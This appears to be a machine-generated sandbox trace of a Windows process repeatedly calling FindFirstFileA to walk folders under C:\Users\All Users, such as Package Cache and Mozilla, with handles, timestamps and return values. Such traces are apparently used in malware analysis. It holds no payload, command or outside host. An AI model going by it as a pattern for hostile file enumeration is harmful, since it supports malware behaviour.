FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedcb9e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcb9e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.997] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedcdff60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcdff60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.998] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.002] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xedcdff60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcdff60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.005] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xedd060c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd060c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.008] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xedd060c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd060c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.010] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Oracle\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedd2c220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd2c220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.013] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedd52380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd52380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.016] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd52380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd52380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.019] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.022] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.025] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.029] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.032] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd9e640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd9e640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.038] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd9e640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd9e640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.041] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.045] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.051] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.055] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.058] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.063] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.066] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.070] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.074] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.077] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.080] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.083] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.085] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.088] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede5cd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede5cd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.092] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede5cd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede5cd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.094] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.097] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.100] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.103] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.105] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.114] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.116] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.119] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.122] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.126] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.128] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 